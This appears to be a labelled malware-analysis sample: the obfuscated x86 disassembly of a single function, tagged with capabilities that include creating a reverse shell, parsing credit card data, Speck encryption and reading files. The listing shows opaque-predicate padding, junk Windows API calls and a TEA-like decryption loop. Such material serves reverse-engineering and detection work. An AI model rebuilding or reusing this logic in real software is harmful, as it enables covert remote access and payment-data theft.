Function at 0x401b62
Capabilities:
Check os version
Create process on windows
Create reverse shell
Encrypt data using speck
Parse credit card information
Parse pe header
Query environment variable
Read file on windows
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x39
xor edx, edx
pop eax
mov edi, dword [sym.imp.KERNEL32.dll_CompareFileTime]
div ebx
mov esi, ebx
xor esi, 0x3d5
cmp ebx, 0x57
mov byte [ebp - 1], dl
jbe 0x401bd7
cmp ebx, 0x18
jae 0x401bb2
mov eax, 0x2f4
xor edx, edx
div ebx
mov ecx, 0x37b
push eax
movzx eax, byte [ebp - 1]
imul eax, eax, 0x382
sub ecx, eax
sub ecx, ebx
push ecx
call edi
jmp 0x401bd7
cmp ebx, 0x42
jae 0x401bc2
mov eax, 0x175
sub eax, esi
mov esi, eax
jmp 0x401bd7
cmp ebx, 0x48
jbe 0x401bd7
cmp ebx, 0xe2d
jne 0x401bd7
mov eax, 0x445a49
mov dword [ebp - 0xc], eax
movzx eax, byte [ebp - 1]
xor edx, edx
div ebx
and al, 0xa3
xor al, 0x9b
cmp al, 0x4c
jae 0x401bf2
push esi
or si, 0x3c8
push esi
call edi
jmp 0x401c49
cmp al, 0x9b
jne 0x401c49
cmp esi, 0x63
jne 0x401c0e
mov eax, 0xb9
xor edx, edx
div ebx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
jmp 0x401c49
cmp esi, 0x2e
jne 0x401c2f
mov eax, 0x9b
xor edx, edx
div ebx
push 0xcf
or dx, 0x383
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x401c49
cmp esi, 0xdf8
jne 0x401c40
add dword [ebp - 0xc], 0x1a77
jmp 0x401c49
cmp esi, 0x21
je 0x4024a4
mov eax, 0x163
xor edx, edx
div dword [ebp + 8]
mov edi, dword [ebp - 0xc]
mov al, 0x28
mov dword [ebp - 0x18], edi
mov ebx, edx
imul ebx, dword [ebp + 8]
add ebx, 0xaa
sub al, bl
cmp ebx, 0x13a911
mov dword [ebp - 0x10], ebx
mov byte [ebp - 1], al
jne 0x401c88
movzx eax, al
or ax, 0x2c1
mov edi, dword [edi + eax*4 - 0xb5c]
mov dword [ebp - 0x18], edi
movzx eax, byte [ebp - 1]
xor edx, edx
div dword [ebp + 8]
mov esi, edx
add esi, 0x150
cmp ebx, 0x32
jae 0x401cb2
mov eax, 0x3c7
xor edx, edx
div dword [ebp + 8]
mov ebx, edx
add ebx, dword [ebp + 8]
mov dword [ebp - 0x10], ebx
jmp 0x401d09
cmp ebx, 0x13a911
jne 0x401cf7
cmp esi, 0x63
jb 0x401d09
cmp esi, 0x49
jb 0x401d09
cmp esi, 0x2e
ja 0x401cd9
mov eax, 0x175
xor edx, edx
div esi
sub eax, dword [ebp + 8]
mov esi, eax
jmp 0x401d09
cmp esi, 0x167
jne 0x401cec
lea eax, [edi + 0x1239]
mov dword [ebp - 0x54], eax
jmp 0x401d09
cmp esi, 0x41
jae 0x401d09
mov byte [ebp - 1], 0x32
jmp 0x401d09
cmp ebx, 3
jbe 0x402441
cmp ebx, 0x12
jbe 0x401f62
cmp ebx, 2
mov dword [ebp - 0x50], edi
jae 0x401d23
mov eax, dword [ebp + 8]
xor eax, 0xd8c2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
jmp 0x401d5c
cmp ebx, 0x1d
jae 0x401d2d
push 0
push ebx
jmp 0x401d1b
cmp ebx, 0x13a911
jne 0x401d3e
mov dword [ebp - 0x2c], 0x2d118
jmp 0x401d64
cmp ebx, 0x23
jbe 0x401d5c
cmp ebx, 5
jae 0x401d5c
movzx eax, byte [ebp - 1]
add eax, 0x323
and eax, ebx
or ax, 0x143
mov ebx, eax
mov dword [ebp - 0x10], ebx
cmp ebx, 0x13a911
jne 0x401d6e
mov eax, 0x4449c1
mov dword [ebp - 0xc], eax
jmp 0x401d88
cmp ebx, 0x10
jae 0x401d88
mov eax, ebx
xor edx, edx
div dword [ebp + 8]
xor edx, edx
mov ecx, 0x35e
div ecx
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0xc]
mov eax, ebx
xor eax, 0x39a
or eax, ebx
lea edi, [ecx + eax - 0x13a49c]
mov eax, dword [ebp + 8]
cmp eax, 0x4d
mov dword [ebp - 0xc], edi
jne 0x401db8
mov eax, 0x354
xor edx, edx
div esi
sub eax, 0x28c
mov esi, eax
jmp 0x401e1e
cmp eax, 0x16
je 0x4024a4
cmp eax, 0x54
ja 0x401df3
mov eax, dword [ebp + 8]
mov ecx, 0x182
sub ecx, eax
lea edx, [ebx - 0x24]
push esi
push ebx
and ecx, edx
push eax
push ecx
xor edx, edx
mov ecx, 0xfc
div ecx
xor edx, 0xc1
xor edx, ebx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFileEx]
jmp 0x401e1e
cmp eax, 0x63
jae 0x401e05
mov ebx, eax
imul ebx, ebx, 0x1c2
mov dword [ebp - 0x10], ebx
jmp 0x401e1e
cmp eax, 0xe2d
jne 0x401e1e
lea eax, [ebx - 0x13a911]
imul eax, eax, 0x308
mov eax, dword [eax + edi]
mov dword [ebp - 0x48], eax
cmp ebx, 0x13a911
jne 0x401ee7
mov ecx, 0x167
cmp esi, ecx
jne 0x401ee2
mov al, byte [ebp - 1]
cmp al, 0x23
ja 0x401ee7
cmp al, 0x15
ja 0x401e4f
movzx ax, al
jmp 0x402686
cmp al, 0x60
jne 0x401e73
push dword [ebp + 8]
push 1
push 0x60
push 0x21
push 0x167
push 0x119
push 0x13a911
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
jmp 0x401ee7
cmp al, 0x63
jae 0x401ee7
cmp al, 0x41
jbe 0x401e92
movzx eax, al
imul eax, eax, 0x167
xor edx, edx
mov ecx, 0x1aa
div ecx
mov byte [ebp - 1], dl
jmp 0x401ee7
cmp al, 0x17
jne 0x401ee7
mov eax, dword [ebp + 8]
cmp eax, 0x48
jne 0x401eab
push 0x3fb
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401ee7
cmp eax, 0x29
ja 0x401eb8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
jmp 0x401ee7
cmp eax, 0xe2d
jne 0x401ec7
mov eax, dword [edi + 4]
mov dword [ebp - 0x44], eax
jmp 0x401ee7
cmp eax, 0x32
jae 0x401ee7
xor edx, edx
div ecx
mov ecx, 0xd9
mov eax, edx
xor edx, edx
div ecx
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x401ee7
cmp esi, 0x57
jb 0x401f62
mov ecx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, 0x100
or ecx, ebx
or cx, 0x2f7
cmp ecx, 0x3f
jae 0x401f06
push ebx
call edi
jmp 0x401f53
cmp ecx, 0x38
ja 0x401f15
mov al, byte [ebp + 8]
add al, 0x61
mov byte [ebp - 1], al
jmp 0x401f53
cmp ecx, 0x45
ja 0x401f39
mov eax, 0x11c
xor edx, edx
div ecx
xor edx, edx
div ecx
mov ecx, 0x3a1
mov eax, edx
xor edx, edx
div ecx
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x401f53
cmp ecx, 7
jb 0x4025fa
cmp ecx, 0x13abf7
jne 0x401f53
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x40], eax
mov esi, ebx
or si, 0x7caa
cmp esi, 0x2d
mov dword [ebp - 0x4c], esi
ja 0x401f6b
mov ax, word [ebp + 8]
jmp 0x402686
cmp esi, 0x13fdbb
jne 0x401ff8
mov al, byte [ebp - 1]
cmp al, 0x54
jbe 0x401f90
mov eax, ebx
add ebx, 0x18a
imul eax, eax, 0x346
xor ebx, eax
jmp 0x401fb9
cmp al, 0x1a
jb 0x401f9f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x402035
cmp al, 0xd
jae 0x401fbe
movzx eax, byte [ebp - 1]
xor edx, edx
mov ecx, 0x310
div ecx
xor edx, edx
add ecx, 0x7d
div ecx
add ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x402035
cmp al, 0x17
jne 0x402035
mov eax, dword [ebp + 8]
cmp eax, 0x16
jne 0x401fd3
mov ax, 0xfdbb
jmp 0x402686
cmp eax, 0x11
jb 0x402035
cmp eax, 0xe2d
jne 0x401fee
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4 - 0x4ea438]
mov dword [ebp - 0x3c], eax
jmp 0x402035
cmp eax, 4
jae 0x402035
jmp 0x4024a4
cmp esi, 0x4d
ja 0x40200c
lea eax, [ebx + ebx*8]
shl eax, 6
mov ebx, eax
or bx, 0x27d
jmp 0x401fb9
cmp esi, 8
jne 0x402016
push esi
call edi
jmp 0x402035
cmp esi, 0xd
jb 0x402035
cmp esi, 0x20
jne 0x402035
movzx ecx, byte [ebp - 1]
mov eax, dword [ebp + 8]
xor edx, edx
div ecx
push esi
or al, 7
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
mov al, byte [ebp + 8]
add al, 0x56
mov byte [ebp - 3], al
mov eax, dword [ebp - 0x2c]
cmp eax, 8
mov dword [ebp - 0x28], eax
jle 0x402403
mov al, byte [ebp + 8]
xor edx, edx
sub al, 0x53
and al, 0xc5
or al, byte [ebp + 8]
add al, 0x27
mov byte [ebp - 5], al
mov eax, 0x3be
div dword [ebp + 8]
imul edx, edx, 0x1cf
mov dword [ebp - 0x30], edx
mov eax, 0x262
xor edx, edx
div dword [ebp - 0x30]
xor edx, edx
mov edi, 0x367
mov cl, byte [ebp - 5]
movzx esi, cl
mov byte [ebp - 4], cl
mov ebx, eax
mov eax, 0x1ef
div dword [ebp - 0x30]
and ebx, esi
xor ebx, 0x179
sub ebx, 0x3910ca59
mov eax, edx
xor edx, edx
div edi
cmp cl, 0x50
mov edi, edx
ja 0x4020de
cmp cl, 0x29
jne 0x4020c2
push 0x31
xor edx, edx
pop eax
div edi
push eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
jmp 0x4020de
cmp cl, 0x14
jne 0x4020de
mov eax, 0x27f
xor edx, edx
div dword [ebp + 8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + edx*4 - 0x9fc]
mov dword [ebp - 0x20], eax
lea eax, [esi - 0x25]
and eax, 0x66
mov byte [ebp - 2], al
cmp byte [ebp - 2], 0x2b
je 0x402437
cmp byte [ebp - 2], 0x66
jne 0x4021a8
cmp edi, 0x1ef
jne 0x40211a
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x18]
xor eax, 0x47b
mov eax, dword [ecx + eax*4 - 0x2954]
mov dword [ebp - 0x1c], eax
jmp 0x402122
cmp edi, 0x1c
jae 0x402122
mov al, byte [ebp - 2]
mov eax, dword [ebp + 8]
xor edx, edx
div eax
and dword [ebp - 0x24], 0
push 9
pop edi
or si, 0x3ed
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x34], esi
sub edi, eax
mov eax, dword [ebp + 8]
and edi, 0x2a
xor edi, 0xe0
imul eax, eax, 0x205
mov dword [ebp - 0x38], eax
mov eax, edi
xor edx, edx
div edi
xor edx, edx
mov esi, 0x2bc
div esi
mov dword [ebp - 0x14], edx
movzx esi, word [ebp - 0x14]
mov eax, dword [ebp - 0x38]
xor edx, edx
div esi
mov esi, edx
test esi, esi
jne 0x4021c7
movzx eax, word [ebp - 0x14]
mov ecx, 0x2af
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x20]
xor ecx, dword [ebp + 8]
mov edx, eax
sub ecx, 0xe28
shr edx, cl
mov ecx, eax
add eax, ebx
shl ecx, 4
add ecx, dword [ebp - 0x40]
add edx, dword [ebp - 0x3c]
xor edx, ecx
xor edx, eax
sub dword [ebp - 0x1c], edx
jmp 0x4021f5
cmp byte [ebp - 2], 0x5a
ja 0x40211f
movzx eax, byte [ebp - 2]
xor edx, edx
mov ecx, 0x300
div ecx
mov byte [ebp - 2], al
jmp 0x402122
cmp esi, 4
jb 0x4021de
mov eax, esi
imul esi, esi, 0x28d
imul eax, eax, 0x333
and esi, eax
jmp 0x4021f8
cmp esi, 0x13
jbe 0x4021f8
mov eax, esi
xor edx, edx
mov ecx, 0x2e6
div ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [ebp + 8]
lea eax, [esi + 0xd8]
cmp ax, 0xd8
jne 0x402260
cmp esi, 0x36
jbe 0x402213
xor eax, eax
xor edx, edx
div esi
and eax, esi
jmp 0x40226a
cmp esi, 0x4c
jb 0x402222
mov eax, esi
or eax, ecx
or ax, 0x2e0
jmp 0x40226a
cmp esi, 0x25
jb 0x402235
lea esi, [ecx - 0xcd]
movzx edx, word [ebp - 0x14]
or esi, edx
jmp 0x40226a
test esi, esi
jne 0x40227e
cmp word [ebp - 0x14], 1
jne 0x40226e
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x1c]
shr edx, 5
add edx, dword [ebp - 0x44]
shl esi, 4
add esi, dword [ebp - 0x48]
xor edx, esi
mov esi, dword [ebp - 0x1c]
add esi, ebx
xor edx, esi
sub dword [ebp - 0x20], edx
jmp 0x40226e
cmp ax, 0x46
je 0x402441
test esi, esi
jne 0x40227e
and eax, 0x2f2
mov edx, 0x61c88717
sub edx, eax
add ebx, edx
jmp 0x40229b
cmp esi, 0x11
ja 0x402449
cmp esi, 9
jb 0x402292
mov ax, word [ebp - 0x14]
jmp 0x40229b
cmp esi, 0x4b
je 0x402686
mov ax, word [ebp - 0x14]
mov ax, word [ebp - 0x14]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x20
jl 0x402152
cmp ecx, 0x18
je 0x402307
cmp ecx, 0x15
jae 0x4022c0
mov al, cl
mov dl, 0x2b
jmp 0x402302
cmp ecx, 0x35
je 0x402307
cmp ecx, 0x2e
jbe 0x402307
cmp ecx, 0xe2d
jne 0x4022f9
cmp byte [ebp - 4], 0x5d
je 0x402307
cmp byte [ebp - 4], 0x14
jne 0x4022e8
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov dword [edx], eax
jmp 0x402307
cmp byte [ebp - 4], 0x3c
jbe 0x402307
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp + 8]
jmp 0x402307
cmp ecx, 0x27
jae 0x402307
mov al, cl
mov dl, 0xd
imul dl
mov byte [ebp - 4], al
mov ebx, dword [ebp - 0x34]
mov eax, 0x298
xor edx, edx
div ebx
cmp dl, 0x98
jne 0x40235c
cmp ecx, 0xe2d
jne 0x40232b
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [edx + 4], eax
jmp 0x40235c
cmp ecx, 9
jae 0x402347
movzx esi, byte [ebp - 4]
mov eax, 0x397
xor edx, edx
div esi
mov ebx, edx
sub ebx, 0x13
mov dword [ebp - 0x34], ebx
jmp 0x40235c
cmp ecx, 0x44
jae 0x40235c
mov al, byte [ebp - 4]
imul eax, eax, 0x171
and eax, ebx
or al, 0xd7
mov byte [ebp - 2], al
mov al, cl
and al, 0xde
xor al, bl
cmp ebx, 0xb
jne 0x4023a0
movzx esi, byte [ebp - 4]
push ebx
push 0x33
movzx ecx, al
pop eax
xor edx, edx
div esi
mov eax, ecx
mov esi, 0x16a
or edx, ebx
push edx
xor edx, edx
div esi
push dword [ebp + 8]
mov eax, edx
xor edx, edx
div ecx
add eax, 0x3a3
push eax
movzx eax, byte [ebp - 2]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFileEx]
jmp 0x4023ef
cmp ebx, 0x3fd
jne 0x4023ef
cmp al, 0x36
jae 0x4023b4
mov al, byte [ebp - 2]
mov al, byte [ebp - 2]
jmp 0x4023ef
cmp al, 0x61
jb 0x4023ef
cmp al, 0x5d
jb 0x402452
cmp al, 0x41
jne 0x4023d1
mov al, byte [ebp - 2]
add eax, 0x1e1
mov byte [ebp - 2], al
jmp 0x4023ef
cmp al, 0xf1
jne 0x4023ef
movzx eax, byte [ebp - 4]
mov ecx, dword [ebp - 0x18]
sub eax, 0x1e8
or ax, 0x221
lea eax, [ecx + eax*4 + 0x754]
mov dword [ebp - 0x18], eax
sub dword [ebp - 0x28], 8
cmp dword [ebp - 0x28], 8
jg 0x40206e
mov esi, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x10]
mov eax, fcn.00442935
mov dword [ebp - 0xc], eax
movzx edi, byte [ebp - 1]
mov eax, edi
xor edx, edx
div esi
mov esi, edx
sub esi, 0x84
cmp esi, 0x2e
ja 0x40245b
mov eax, ebx
mov ecx, 0x303
imul eax, eax, 0x356
xor edx, edx
div ecx
mov esi, eax
jmp 0x40249a
movzx ax, byte [ebp - 4]
jmp 0x402686
mov ax, si
jmp 0x402686
mov ax, word [ebp - 0x14]
jmp 0x402686
mov ax, 0x3fd
jmp 0x402686
cmp esi, 0x3f
jne 0x402474
movzx eax, byte [ebp - 3]
xor edx, edx
mov ecx, 0xf7
div dword [ebp + 8]
mov eax, edx
xor edx, edx
jmp 0x402431
cmp esi, 0xffffff93
jne 0x40249a
cmp ebx, 0x34
jb 0x4024de
cmp ebx, 0x13a911
jne 0x4024de
mov ecx, dword [ebp - 0xc]
mov eax, edi
xor eax, 0x182
lea eax, [ecx + eax + 0x253e]
mov dword [ebp - 0xc], eax
cmp esi, 0x42
jb 0x4024f5
cmp esi, 0x39
jae 0x4024ac
mov ax, bx
jmp 0x402686
cmp esi, 0xd
ja 0x4024d9
mov eax, edi
imul eax, eax, 0x8a
xor eax, dword [ebp + 8]
xor eax, 0x16d
push eax
movzx eax, byte [ebp - 3]
xor eax, 0x8d
push eax
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFileEx]
jmp 0x4024f5
cmp esi, 0xffffff93
jne 0x4024f5
push 0x44
xor edx, edx
pop eax
div dword [ebp + 8]
movzx ecx, byte [ebp - 3]
and eax, ecx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x2c], eax
mov cl, byte [ebp - 3]
cmp cl, 0x83
jne 0x402507
mov eax, 0x443bbb
mov dword [ebp - 0xc], eax
jmp 0x40254b
cmp cl, 0x56
jae 0x402522
mov eax, esi
xor edx, edx
imul eax, eax, 0x204
mov edi, 0x1a5
div edi
or byte [ebp - 1], al
jmp 0x40254b
cmp cl, 0x30
jne 0x40252f
and esi, 0x246
jmp 0x40254b
cmp cl, 7
jae 0x40253e
mov al, byte [ebp - 1]
add al, 0x31
and byte [ebp - 1], al
jmp 0x40254b
cmp cl, 0x51
jae 0x40254b
imul esi, esi, 0x2c6
sub esi, edi
mov eax, esi
xor edx, edx
mov edi, 0x316
div edi
mov edi, eax
mov al, byte [ebp - 1]
and edi, 0x258
cmp al, 0x32
jbe 0x402576
mov eax, 0x269
xor edx, edx
div edi
xor dl, 0xe
mov byte [ebp - 1], dl
jmp 0x4025e0
cmp al, 0x17
jne 0x4025cd
cmp esi, 0x60
jae 0x4025ad
movzx ecx, byte [ebp - 3]
mov eax, ecx
xor edx, edx
imul eax, dword [ebp + 8]
mov ebx, 0x136
add ecx, 0x17
div ebx
xor ecx, 0x29a
push eax
push 0x17
push edi
push ecx
push 0x16
push 0x44
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
jmp 0x4025e0
cmp esi, 0xffffff93
jne 0x4025e0
cmp edi, 0x58
jne 0x4025e0
movzx eax, cl
mov ecx, dword [ebp - 0xc]
or ax, 0x2029
lea eax, [ecx + eax - 0xc62]
mov dword [ebp - 0xc], eax
jmp 0x4025e0
test al, al
je 0x4025e0
cmp al, 0x39
jbe 0x4025e0
movzx eax, al
xor edx, edx
div dword [ebp + 8]
mov byte [ebp - 3], dl
movzx eax, byte [ebp - 3]
mov ecx, dword [ebp + 8]
add eax, 0x4f92
cmp ecx, 0x15
je 0x402686
cmp ecx, 0x16
jae 0x402602
mov ax, cx
jmp 0x402686
cmp ecx, 0x4c
jne 0x40260c
mov ax, di
jmp 0x402686
cmp ecx, 0x36
jb 0x402681
cmp ecx, 0x46
je 0x402681
cmp ecx, 0xe2d
jne 0x402681
mov cl, byte [ebp - 1]
cmp cl, 0x17
jne 0x40266e
cmp eax, 0x45
jb 0x402681
cmp eax, 0x34
je 0x402681
cmp eax, 0x5015
jne 0x402681
mov eax, edi
xor edx, edx
mov ecx, 0x222
and edi, 0x13
div ecx
mov ecx, 0x313
add edi, 0x2d080
mov eax, edx
xor edx, edx
div ecx
mov eax, dword [ebp - 0xc]
add edx, 0x2cdec
push edx
push edi
push dword [ebp - 0x50]
push dword [eax]
push dword [ebp - 0x2c]
call dword [ebp - 0x54]
jmp 0x402681
cmp cl, 0x64
je 0x402681
cmp cl, 0x3e
jae 0x402681
cmp cl, 0x40
jb 0x402681
mov byte [ebp - 3], 0x7c
movzx ax, byte [ebp - 3]
pop edi
pop esi
pop ebx
leave
ret